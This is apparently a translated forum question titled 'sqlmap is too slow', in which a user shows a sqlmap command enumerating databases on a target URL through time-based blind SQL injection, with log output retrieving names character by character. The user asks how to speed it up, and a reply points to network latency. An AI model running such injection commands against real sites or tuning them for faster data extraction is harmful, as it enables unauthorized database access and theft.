sqlmap太慢了

Far*_*her 5 sql sql-injection sqlmap

这是一个例子。只是想列出数据库:

python sqlmap.py -u "http://somesite.com/?id=1" --dbs

[15:20:32] [INFO] fetching database names
[15:20:32] [INFO] fetching number of databases
[15:20:32] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..
[15:20:39] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based queries
2
[15:20:55] [INFO] adjusting time delay to 2 seconds due to good response times
2
[15:20:58] [INFO] retrieved: 100_MYDB
[15:22:39] [INFO] retrieved: DEV_GC_DATASTORAGE
[15:26:15] [INFO] retrieved: GC_
Run Code Online (Sandbox Code Playgroud)

您可以在时间戳中看到,列出 1 个数据库名称大约需要 3 分钟,逐个字符地列出,每个字符大约需要 7 秒。我在 youtube 上看到的教程速度非常快...我能做些什么来加快速度?我尝试过弄乱 .conf

谢谢。

Far*_*her 1

somesite.com 的网络延迟是多少?您可以通过简单地执行 ping somesite.com 来检查这一点。如果延迟很高,那么当您逐个字符进行测试时,执行盲 SQL 注入会很慢。\xe2\x80\x93 rgerganov 7 月 4 日 19:43

\n